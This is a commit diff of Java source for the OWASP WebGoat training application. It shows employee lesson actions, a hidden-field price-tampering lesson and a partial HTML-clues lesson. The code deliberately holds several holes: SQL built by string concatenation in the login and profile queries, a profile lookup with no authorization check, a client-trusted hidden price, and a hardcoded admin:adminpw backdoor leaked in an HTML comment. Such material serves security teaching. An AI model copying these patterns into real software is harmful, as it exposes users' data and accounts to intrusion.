int userId = getIntSessionAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.USER_ID);
List<EmployeeStub> employees = getAllEmployees(s, userId);
setSessionAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.STAFF_ATTRIBUTE_KEY, employees);
}
else
throw new UnauthenticatedException();
}
public String getNextPage(WebSession s)
{
return GoatHillsFinancial.LISTSTAFF_ACTION;
}
public List<EmployeeStub> getAllEmployees(WebSession s, int userId)
throws UnauthorizedException
{
// Query the database for all employees "owned" by the given employee
List<EmployeeStub> employees = new Vector<EmployeeStub>();
try
{
String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles WHERE employee.userid=roles.userid and employee.userid in "
+ "(SELECT employee_id FROM ownership WHERE employer_id = "
+ userId + ")";
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
answer_results.beforeFirst();
while (answer_results.next())
{
int employeeId = answer_results.getInt("userid");
String firstName = answer_results.getString("first_name");
String lastName = answer_results.getString("last_name");
String role = answer_results.getString("role");
//System.out.println("Retrieving employee stub for role " + role);
EmployeeStub stub = new EmployeeStub(employeeId, firstName,
lastName, role);
employees.add(stub);
}
}
catch (SQLException sqle)
{
s.setMessage("Error getting employees");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error getting employees");
e.printStackTrace();
}
return employees;
}
}

219
main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/Login.java Executable file
View File

@ -0,0 +1,219 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.List;
import java.util.Vector;
import org.owasp.webgoat.session.EmployeeStub;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class Login extends DefaultLessonAction
{
private LessonAction chainedAction;
public Login(GoatHillsFinancial lesson, String lessonName, String actionName,
LessonAction chainedAction)
{
super(lesson, lessonName, actionName);
this.chainedAction = chainedAction;
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
ValidationException
{
//System.out.println("Login.handleRequest()");
getLesson().setCurrentAction(s, getActionName());
List employees = getAllEmployees(s);
setSessionAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.STAFF_ATTRIBUTE_KEY, employees);
int employeeId = -1;
try
{
employeeId = s.getParser().getIntParameter(
GoatHillsFinancial.EMPLOYEE_ID);
String password = s.getParser().getStringParameter(
GoatHillsFinancial.PASSWORD);
// Attempt authentication
if (login(s, employeeId, password))
{
// Execute the chained Action if authentication succeeded.
try
{
chainedAction.handleRequest(s);
}
catch (UnauthenticatedException ue1)
{
System.out.println("Internal server error");
ue1.printStackTrace();
}
catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
}
}
else
s.setMessage("Login failed");
}
catch (ParameterNotFoundException pnfe)
{
// No credentials offered, so we log them out
setSessionAttribute(s, getLessonName() + ".isAuthenticated",
Boolean.FALSE);
}
}
/**
* After this.handleRequest() is called, when the View asks for the current JSP to load,
* it will get one initialized by this call.
*/
public String getNextPage(WebSession s)
{
String nextPage = GoatHillsFinancial.LOGIN_ACTION;
if (isAuthenticated(s))
nextPage = chainedAction.getNextPage(s);
return nextPage;
}
public boolean requiresAuthentication()
{
return false;
}
public boolean login(WebSession s, int userId, String password)
{
//System.out.println("Logging in to lesson");
boolean authenticated = false;
try
{
String query = "SELECT * FROM employee WHERE userid = " + userId
+ " and password = '" + password + "'";
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.first())
{
setSessionAttribute(s,
getLessonName() + ".isAuthenticated", Boolean.TRUE);
setSessionAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.USER_ID, Integer
.toString(userId));
authenticated = true;
}
}
catch (SQLException sqle)
{
s.setMessage("Error logging in");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error logging in");
e.printStackTrace();
}
//System.out.println("Lesson login result: " + authenticated);
return authenticated;
}
public List<EmployeeStub> getAllEmployees(WebSession s)
{
List<EmployeeStub> employees = new Vector<EmployeeStub>();
// Query the database for all roles the given employee belongs to
// Query the database for all employees "owned" by these roles
try
{
String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles "
+ "where employee.userid=roles.userid";
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
answer_results.beforeFirst();
while (answer_results.next())
{
int employeeId = answer_results.getInt("userid");
String firstName = answer_results.getString("first_name");
String lastName = answer_results.getString("last_name");
String role = answer_results.getString("role");
EmployeeStub stub = new EmployeeStub(employeeId, firstName,
lastName, role);
employees.add(stub);
}
}
catch (SQLException sqle)
{
s.setMessage("Error getting employees");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error getting employees");
e.printStackTrace();
}
return employees;
}
}

84
main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/Logout.java Executable file
View File

@ -0,0 +1,84 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class Logout extends DefaultLessonAction
{
private LessonAction chainedAction;
public Logout(GoatHillsFinancial lesson, String lessonName, String actionName,
LessonAction chainedAction)
{
super(lesson, lessonName, actionName);
this.chainedAction = chainedAction;
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
ValidationException
{
//System.out.println("Logging out");
setSessionAttribute(s, getLessonName() + ".isAuthenticated",
Boolean.FALSE);
// FIXME: Maybe we should forward to Login.
try
{
chainedAction.handleRequest(s);
}
catch (UnauthenticatedException ue1)
{
System.out.println("Internal server error");
ue1.printStackTrace();
}
catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
}
}
public String getNextPage(WebSession s)
{
return chainedAction.getNextPage(s);
}
}

49
main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/SearchStaff.java Executable file
View File

@ -0,0 +1,49 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class SearchStaff extends DefaultLessonAction
{
public SearchStaff(GoatHillsFinancial lesson, String lessonName,
String actionName)
{
super(lesson, lessonName, actionName);
}
public String getNextPage(WebSession s)
{
return GoatHillsFinancial.SEARCHSTAFF_ACTION;
}
}

247
main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/UpdateProfile.java Executable file
View File

@ -0,0 +1,247 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import org.owasp.webgoat.session.Employee;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class UpdateProfile extends DefaultLessonAction
{
private LessonAction chainedAction;
public UpdateProfile(GoatHillsFinancial lesson, String lessonName,
String actionName, LessonAction chainedAction)
{
super(lesson, lessonName, actionName);
this.chainedAction = chainedAction;
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException,
ValidationException
{
if (isAuthenticated(s))
{
int userId = getIntSessionAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.USER_ID);
int subjectId = s.getParser().getIntParameter(
GoatHillsFinancial.EMPLOYEE_ID, 0);
String firstName = s.getParser().getStringParameter(
GoatHillsFinancial.FIRST_NAME);
String lastName = s.getParser().getStringParameter(
GoatHillsFinancial.LAST_NAME);
String ssn = s.getParser().getStringParameter(
GoatHillsFinancial.SSN);
String title = s.getParser().getStringParameter(
GoatHillsFinancial.TITLE);
String phone = s.getParser().getStringParameter(
GoatHillsFinancial.PHONE_NUMBER);
String address1 = s.getParser().getStringParameter(
GoatHillsFinancial.ADDRESS1);
String address2 = s.getParser().getStringParameter(
GoatHillsFinancial.ADDRESS2);
int manager = s.getParser().getIntParameter(
GoatHillsFinancial.MANAGER);
String startDate = s.getParser().getStringParameter(
GoatHillsFinancial.START_DATE);
int salary = s.getParser().getIntParameter(
GoatHillsFinancial.SALARY);
String ccn = s.getParser().getStringParameter(
GoatHillsFinancial.CCN);
int ccnLimit = s.getParser().getIntParameter(
GoatHillsFinancial.CCN_LIMIT);
String disciplinaryActionDate = s.getParser().getStringParameter(
GoatHillsFinancial.DISCIPLINARY_DATE);
String disciplinaryActionNotes = s.getParser().getStringParameter(
GoatHillsFinancial.DISCIPLINARY_NOTES);
String personalDescription = s.getParser().getStringParameter(
GoatHillsFinancial.DESCRIPTION);
Employee employee = new Employee(subjectId, firstName, lastName,
ssn, title, phone, address1, address2, manager, startDate,
salary, ccn, ccnLimit, disciplinaryActionDate,
disciplinaryActionNotes, personalDescription);
if (subjectId > 0)
{
this.changeEmployeeProfile(s, userId, subjectId, employee);
setRequestAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.EMPLOYEE_ID, Integer
.toString(subjectId));
}
else
this.createEmployeeProfile(s, userId, employee);
try
{
chainedAction.handleRequest(s);
}
catch (UnauthenticatedException ue1)
{
System.out.println("Internal server error");
ue1.printStackTrace();
}
catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
}
}
else
throw new UnauthenticatedException();
}
public String getNextPage(WebSession s)
{
return GoatHillsFinancial.VIEWPROFILE_ACTION;
}
public void changeEmployeeProfile(WebSession s, int userId, int subjectId,
Employee employee) throws UnauthorizedException
{
try
{
// Note: The password field is ONLY set by ChangePassword
String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?,"
+ " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?,"
+ " personal_description = ? WHERE userid = ?;";
try
{
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ps.setString(1, employee.getFirstName());
ps.setString(2, employee.getLastName());
ps.setString(3, employee.getSsn());
ps.setString(4, employee.getTitle());
ps.setString(5, employee.getPhoneNumber());
ps.setString(6, employee.getAddress1());
ps.setString(7, employee.getAddress2());
ps.setInt(8, employee.getManager());
ps.setString(9, employee.getStartDate());
ps.setString(10, employee.getCcn());
ps.setInt(11, employee.getCcnLimit());
ps.setString(12, employee.getPersonalDescription());
ps.setInt(13, subjectId);
ps.execute();
}
catch (SQLException sqle)
{
s.setMessage("Error updating employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
}
}
private int getNextUID(WebSession s)
{
int uid = -1;
try
{
Statement statement = WebSession.getConnection(s).createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement
.executeQuery("select max(userid) as uid from employee");
results.first();
uid = results.getInt("uid");
}
catch (SQLException sqle)
{
sqle.printStackTrace();
s.setMessage("Error updating employee profile");
}
catch (ClassNotFoundException e)
{
// TODO Auto-generated catch block
e.printStackTrace();
}
return uid + 1;
}
public void createEmployeeProfile(WebSession s, int userId,
Employee employee) throws UnauthorizedException
{
try
{
int nextId = getNextUID(s);
String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)";
try
{
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query);
ps.setString(1, employee.getFirstName().toLowerCase());
ps.setString(2, employee.getLastName());
ps.setString(3, employee.getSsn());
ps.setString(4, employee.getTitle());
ps.setString(5, employee.getPhoneNumber());
ps.setString(6, employee.getAddress1());
ps.setString(7, employee.getAddress2());
ps.setInt(8, employee.getManager());
ps.setString(9, employee.getStartDate());
ps.setString(10, employee.getCcn());
ps.setInt(11, employee.getCcnLimit());
ps.setString(12, employee.getDisciplinaryActionDate());
ps.setString(13, employee.getDisciplinaryActionNotes());
ps.setString(14, employee.getPersonalDescription());
ps.execute();
}
catch (SQLException sqle)
{
s.setMessage("Error updating employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
}
}
}

146
main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/ViewProfile.java Executable file
View File

@ -0,0 +1,146 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import org.owasp.webgoat.session.Employee;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class ViewProfile extends DefaultLessonAction
{
public ViewProfile(GoatHillsFinancial lesson, String lessonName,
String actionName)
{
super(lesson, lessonName, actionName);
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException
{
getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s))
{
int userId = getIntSessionAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.USER_ID);
int employeeId = -1;
try
{
// User selected employee
employeeId = s.getParser().getIntParameter(
GoatHillsFinancial.EMPLOYEE_ID);
}
catch (ParameterNotFoundException e)
{
// May be an internally selected employee
employeeId = getIntRequestAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.EMPLOYEE_ID);
}
Employee employee = getEmployeeProfile(s, userId, employeeId);
setSessionAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.EMPLOYEE_ATTRIBUTE_KEY, employee);
}
else
throw new UnauthenticatedException();
}
public String getNextPage(WebSession s)
{
return GoatHillsFinancial.VIEWPROFILE_ACTION;
}
protected Employee getEmployeeProfile(WebSession s, int userId,
int subjectUserId) throws UnauthorizedException
{
Employee profile = null;
// Query the database for the profile data of the given employee
try
{
String query = "SELECT * FROM employee WHERE userid = "
+ subjectUserId;
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next())
{
// Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"),
answer_results.getString("first_name"),
answer_results.getString("last_name"),
answer_results.getString("ssn"), answer_results
.getString("title"), answer_results
.getString("phone"), answer_results
.getString("address1"), answer_results
.getString("address2"), answer_results
.getInt("manager"), answer_results
.getString("start_date"), answer_results
.getInt("salary"), answer_results
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/}
}
catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();
}
return profile;
}
}

242
main/project/JavaSource/org/owasp/webgoat/lessons/HiddenFieldTampering.java Normal file
View File

@ -0,0 +1,242 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Pattern;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.A;
import org.apache.ecs.html.B;
import org.apache.ecs.html.BR;
import org.apache.ecs.html.Center;
import org.apache.ecs.html.H1;
import org.apache.ecs.html.IMG;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.P;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TH;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003
*/
public class HiddenFieldTampering extends LessonAdapter
{
public final static A ASPECT_LOGO =
new A().setHref("http://www.aspectsecurity.com").addElement(
new IMG("images/logos/aspect.jpg")
.setAlt("Aspect Security").setBorder(0)
.setHspace(0).setVspace(0));
private final static String PRICE = "Price";
private final static String PRICE_TV = "2999.99";
private final static String PRICE_TV_HACKED = "9.99";
String regex = "^" + PRICE_TV + "$"; // obviously the "." will match any char - any interesting exploit!
Pattern pattern1 = Pattern.compile(regex);
String lineSep = System.getProperty("line.separator");
String script =
"<SCRIPT>" + lineSep + "regex=/" + regex + "/;" + "function validate() { " + lineSep
+ "if (!regex.test(document.form." + PRICE + ".value)) {alert('Data tampering is disallowed'); "
+" document.form." + PRICE + ".value = " + PRICE_TV + ";}"
+ lineSep + "else document.form.submit();" + lineSep + "} " + lineSep + "</SCRIPT>" + lineSep;
/**
* Constructor for the HiddenFieldScreen object
*/
public HiddenFieldTampering()
{
}
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
ec.addElement(new StringElement(script));
float quantity;
float total;
String price = PRICE_TV;
try
{
price = s.getParser().getRawParameter(PRICE, PRICE_TV);
quantity = s.getParser().getFloatParameter("QTY", 1.0f);
total = quantity * Float.parseFloat(price);
}
catch (Exception e)
{
s.setMessage("Invaild data " + this.getClass().getName());
price = PRICE_TV;
quantity = 1.0f;
total = quantity * Float.parseFloat(PRICE_TV);
}
if (price.equals(PRICE_TV))
{
ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart ")));
ec.addElement(new BR());
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
if (s.isColor())
{
t.setBorder(1);
}
TR tr = new TR();
tr.addElement(new TH().addElement("Shopping Cart Items -- To Buy Now").setWidth("80%"));
tr.addElement(new TH().addElement("Price:").setWidth("10%"));
tr.addElement(new TH().addElement("Quantity:").setWidth("3%"));
tr.addElement(new TH().addElement("Total").setWidth("7%"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("56 inch HDTV (model KTV-551)"));
tr.addElement(new TD().addElement(PRICE_TV).setAlign("right"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY", 1)).setAlign("right"));
tr.addElement(new TD().addElement("$" + total));
t.addElement(tr);
ec.addElement(t);
t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor())
{
t.setBorder(1);
}
ec.addElement(new BR());
tr = new TR();
tr.addElement(new TD().addElement("The total charged to your credit card:"));
tr.addElement(new TD().addElement("$" + total));
tr.addElement(new TD().addElement(ECSFactory.makeButton("Update Cart")));
tr.addElement(new TD().addElement(ECSFactory.makeButton("Purchase", "validate()")));
t.addElement(tr);
ec.addElement(t);
Input input = new Input(Input.HIDDEN, PRICE, PRICE_TV);
ec.addElement(input);
ec.addElement(new BR());
} else
{
if (!price.toString().equals(PRICE_TV))
{
makeSuccess(s);
}
ec.addElement(new P().addElement("Your total price is:"));
ec.addElement(new B("$" + total));
ec.addElement(new BR());
ec.addElement(new P().addElement("This amount will be charged to your credit card immediately."));
}
return (ec);
}
/**
* DOCUMENT ME!
*
* @return DOCUMENT ME!
*/
protected Category getDefaultCategory()
{
return Category.UNVALIDATED_PARAMETERS;
}
/**
* Gets the hints attribute of the HiddenFieldScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("This application is using hidden fields to transmit price information to the server.");
hints.add("Use a program to intercept and change the value in the hidden field.");
hints
.add("Use <A href=\"http://www.owasp.org/development/webscarab\">WebScarab</A> to change the price of the TV from "
+ PRICE_TV + " to " + PRICE_TV_HACKED + ".");
return hints;
}
/**
* Gets the instructions attribute of the HiddenFieldTampering object
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
String instructions =
"Try to purchase the HDTV for less than the purchase price, if you have not done so already.";
return (instructions);
}
private final static Integer DEFAULT_RANKING = new Integer(50);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the HiddenFieldScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Exploit Hidden Fields");
}
public Element getCredits()
{
return super.getCustomCredits("", ASPECT_LOGO);
}
}

260
main/project/JavaSource/org/owasp/webgoat/lessons/HtmlClues.java Normal file
View File

@ -0,0 +1,260 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.A;
import org.apache.ecs.html.B;
import org.apache.ecs.html.Comment;
import org.apache.ecs.html.H1;
import org.apache.ecs.html.IMG;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.P;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TH;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
* @created October 28, 2003
*/
public class HtmlClues extends LessonAdapter
{
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
/**
* Description of the Field
*/
protected final static String PASSWORD = "Password";
/**
* Description of the Field
*/
protected final static String USERNAME = "Username";
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
private boolean backdoor(WebSession s)
{
String username = s.getParser().getRawParameter(USERNAME, "");
String password = s.getParser().getRawParameter(PASSWORD, "");
//<START_OMIT_SOURCE>
return (username.equals("admin") && password.equals("adminpw"));
//<END_OMIT_SOURCE>
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
try
{
//<START_OMIT_SOURCE>
ec.addElement(new Comment("FIXME admin:adminpw"));
//<END_OMIT_SOURCE>
ec.addElement(new Comment("Use Admin to regenerate database"));
if (backdoor(s))
{
makeSuccess(s);
s.setMessage("BINGO -- admin authenticated");
ec.addElement(makeUser(s, "jsnow", "CREDENTIALS"));
}
else
{
ec.addElement(makeLogin(s));
}
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
}
return (ec);
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param user Description of the Parameter
* @param method Description of the Parameter
* @return Description of the Return Value
* @exception Exception Description of the Exception
*/
protected Element makeUser(WebSession s, String user, String method)
throws Exception
{
ElementContainer ec = new ElementContainer();
ec.addElement(new P().addElement("Welcome, " + user));
ec.addElement(new P().addElement("You have been authenticated with "
+ method));
return (ec);
}
protected Element makeLogin(WebSession s)
{
ElementContainer ec = new ElementContainer();
ec.addElement(new H1().addElement("Sign In "));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0)
.setWidth("90%").setAlign("center");
if (s.isColor())
{
t.setBorder(1);
}
TR tr = new TR();
tr
.addElement(new TH()
.addElement(
"Please sign in to your account. See the OWASP admin if you do not have an account.")
.setColSpan(2).setAlign("left"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("*Required Fields").setWidth("30%"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
t.addElement(tr);
